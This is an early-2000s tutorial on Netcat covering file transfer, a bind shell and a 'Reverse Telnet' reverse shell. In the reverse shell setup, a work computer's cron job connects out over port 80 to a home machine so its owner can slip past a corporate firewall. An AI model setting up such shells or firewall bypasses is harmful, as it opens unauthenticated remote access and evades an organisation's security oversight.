Netcat and Reverse Telnet

by KIVILCIM Hindistan
05/29/2003

Today we live a virtually secure world of computing, with fancy firewalls, user access lists, intrusion detection schemes, and so on. But occasionally you may just want to copy a file from one computer to another, without breaching security, ringing bells all over the network, or even meddling with cumbersome access lists. You may want to reach your work computer from home, so that you can finish your work, but the guardian firewall would not let you in.

Or you may just want to write your simple network utility to fetch something from somewhere and do something to it, the famous duct-tape method. You don't want to use C++. You don't want to use Perl. You want nothing but the good old glue and fix method.

For all these seemingly difficult tasks there is a wonderful tool called Netcat.

As you'd expect, the name Netcat comes from one of the basic Unix commands cat. cat "concatenates files and prints on standard output", Netcat basically does the same. Instead of concatenating files, Netcat concatenates the TCP and UDP sockets, making it basically a "cat of ports". Just like its ancestors, the fundamental commands of the Unix environment, Netcat does this one thing and does it perfectly. You can glue it to other commands to make it do whatever you want.

This article examines the basic usage of Netcat, including one or two tricks that will make your life easier.

What can I use Netcat for?

As a basic point of view, Netcat is a telnet program. But that's like calling the Swiss Army Knife just a knife. Netcat was written in 1996 by a hacker called Hobbit to meet all kinds of telnet needs. Today you can easily find a version of Netcat for your flavor of Unix or even Windows. There are also some variants, such as cryptcat which adds vital encryption features, which we will also use later in this article.

This article sticks to the vanilla Netcat. The examples are prepared with Unix in mind. You can try them on other platforms, but your computer could blowup, your significant other might leave you, and, even worse, you will run out of coffee at once. Well, maybe just the latter.

Preparing Network Interfaces

To try Netcat, we must first make some preparations. Throughout this article we will discuss a connection between two machines. For this article you don't need to have two machines, two computers, or even two network interfaces.

For TCP/IP communication, the Unix platform uses a virtual loopback (lo) interface with a default IP of 127.0.0.1. Under Linux, you can use 0 instead of this IP address. We will use this interface to set up two virtual interfaces.

Note that if we interfere with the 127.0.0.1 interface, we may break the network connection. Instead, we will use lo:1 and lo:2 virtual interfaces. The following method will allow you to assign many IP numbers to the same network interface, such as eth0:0 or eth0:1. As root, enter: 

% ifconfig lo:1 10.0.1.1
% ifconfig lo:2 10.0.1.2
Now enter ifconfig to examine your interfaces: 
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:146 errors:0 dropped:0 overruns:0 frame:0
TX packets:146 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7708 (7.5 KiB) TX bytes:7708 (7.5 KiB)
lo:1 Link encap:Local Loopback
inet addr:10.0.1.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
lo:2 Link encap:Local Loopback
inet addr:10.0.1.2 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
Now that we have two network interfaces, we can continue with our examples as if we were working on two separate computers with different IP addresses.

Network Connection:

As I've stated before, Netcat is a telnet client. With the basic usage you can connect to any port with nc hostport. When you make a connection this way, everything you type goes to the remote machine (if it's listening to that port) and every response comes back to you. This goes on until the network connection is broken. As for the remote computer, I must remind you that Netcat is both a client and a server.

Now, let's open two consoles. One will be our server, listening to port 5600: 

$ nc -l -p 5600
The other will be our client that connects to that port. 
$ nc 10.0.1.1 5600
Now everything you do will be repeated at the first console. We have made our first connection. Experiment to your heart's content. Press Enter, Backspace, Ctrl-D, and Ctrl-C and see what happens. Ctrl-C should have cut your connection.

At the first console give the command: 

$ nc -l -p 5600 -vv
In the second: 
$ nc 10.0.1.1 5600
Did you see anything different? 
listening on [any] 5600 ...
10.0.1.1: inverse host lookup failed: Unknown host
connect to [10.0.1.1] from (UNKNOWN) [10.0.1.1] 33354
This time, Netcat was generous with its information. The extra -vv command option put Netcat in verbose mode. If you use one v then you end up with less information. This command is especially valuable when troubleshooting. At the end, when you pressed Ctrl-c, Netcat exited, reporting how many bytes were sent and received.

As in our first example we made connection between two virtual computers without protocol or rights management (as far as the firewalls let us).

File Transfer

One of the most practical usages of this network connection is the file transfer. As a basic Netcat function, this feature may be used to great effect in the hands of an experienced user. For a freshly installed computer, setting up a ftp server or, worse, meddling with rcp or scp protocols may be nauseating. Those commands may not be available for one, and multiple layers of control mechanisms may interfere with their functionality. You can still transfer files with just one nc command.

At the server console: 

$ nc -v -w 30 -p 5600 l- > filename.back
and on the client side: 
$ nc -v -w 2 10.0.1.1 5600 < filename
Magically, the file named filename is transfered from the client to the server. You can check that they are identical.

The command line uses the new argument -w to cause Netcat to wait for a few seconds. We made that longer in the server side because it is most affected by a pause. Another important point is the > and < redirection commands, with which Unix users are very familiar.

In the server we said > filename.back. Any output will be directed to this file. As it happens, the output is the file filename which is send by the client. Think of this as a pipeline. We take a bucket (file), pour the contents to the pipeline (Netcat's port), and, at the other end we fill another bucket from the pipeline.

Telnet

We can now transfer files, but maybe we want to make something more useful. For example, we might want to login to a remote machine and do some work. We want to telnet without the hassle of working through access control mechanisms. The -e option comes in handy.

On the first console, enter: 

$ nc -l -p 5600 -e /bin/bash
and at the second console: 
$ nc 10.0.1.1. 5600
Now it is as if we are connected to the first machine and typing at the shell. We can see every output of our command and do whatever we want with the server machine. We are connected to it as the root user. This is admittedly very scary and a bit unwise.

Security Notice and Cryptcat

Dumping output to a shell is the fastest method of remote control. It opens a port and waits for connection. Whoever connects is welcome, with no security checks. Unlike the following Reverse Telnet this is an active connection; we can call it duck-tape telnet. If you must setup such a thing on an Internet-connected machine use Cryptcat. In fact you can use Cryptcat in every example mentioned here instead of Netcat, because they are almost the same (except that Cryptcat uses encryption and a keyphrase). But all the command notation is the same.

Small notice: I love Open Source! As the author of Cryptcat states:

Linux version -- why I like Linux... only had to change two lines of code to add encryption.
Thus if you want more security (which you should), use cryptcat with the -k option. Cryptcat's encryption scheme has an embedded keyphrase of metallica. You can (and should) change this with the option -k, using your own keyword. After that, you not only have an easy telnet setup, but you also will be very secure.

Reverse Telnet

As we have such a generic tool, capable of many things, we can try something nastier (and thus more useful). Consider a nice computer, with broadband network access, behind some firewall (as all useful computers are) in our office. The firewall will not allow any outside connections, only those queried from inside. This computer seems impossible to reach. To begin with, the computer would not have a real IP that we could just type and reach; it is behind a router and firewall, using their IPs instead.

Now what if we want to log into this computer and use it remotely, perhaps grabbing some files we forgot to bring home to work on tonight? We want all this with minimum security breach. Sounds like a challenge.

As we saw before, telnet worked with one machine waiting for a connection and the other connecting to it and giving commands. Telnet will not do the job here; not only are all ports of the corporate firewall blocked, the machine we want to reach does not even have a legal IP. Our technique should do just the reverse.

We have a server whose only allowed outside connection is port 80 for daily use, but it doesn't have an outside IP address. The other computer at home probably has a real IP and whatever ports you want are open at your request. Reversing the roles would solve our problems: make our computer at work connect to the home computer, taking commands from the client and performing them on the server. It's the reverse of usual telnet, so we call it Reverse Telnet.

First, let's name the machines. The one at work is called WORK and the one at home is called HOME. If we do not have a permanent IP at home (a dialup user usually) we should get a dynamic DNS name. Lots of organizations provide them, most at no charge such as dyndns.org. We do this because in order to connect to home computer we must know its IP (or domain name) beforehand.

At the work computer, we'll set up a cron job to start at 22:01. Just as in the telnet example it connects to myhome.dyndns.org (our dynamic DNS address) and starts bash.

And at home just at 22:00 or so we start: 

$ nc -vv -l -p 80
to begin listening on port 80 for incoming connections.

At 22:01, WORK connects to HOME, starts bash and says 'Master!' Bingo. We are connected to WORK (or vice versa), and WORK is ready to operate any command we want.

We can try this at our virtual network (lo:1 and lo:2). To start the client listening for a connection: 

$ nc -vv -l -p 80
To make a connection from the server: 
$ nc 10.0.1.1 80 -e /bin/bash
It is very simple and efficient, because we only use outgoing port 80, the most widely used port because it is used for web access. No one would block port 80 because everyone needs web access. They can force you to use a local proxy for that, but you can use another port like 21 or 23 which are harder to put behind a proxy. If you have Internet access you should be able to find at least one open port.

Netcat has lots of other uses with which you can experiment through the loopback interface setup. As long as you know the TCP/IP machine and basics of the protocols, there is virtually no limit to what you can do with Netcat. In the future, I will describe some other daily (arcane ;) uses of Netcat, Cryptcat, and maybe their complicated and powerful cousin SoCat.

Resources

KIVILCIM Hindistan has been a magazine writer, freelance consultant about Open Source Software & Solaris and a die hard gamer.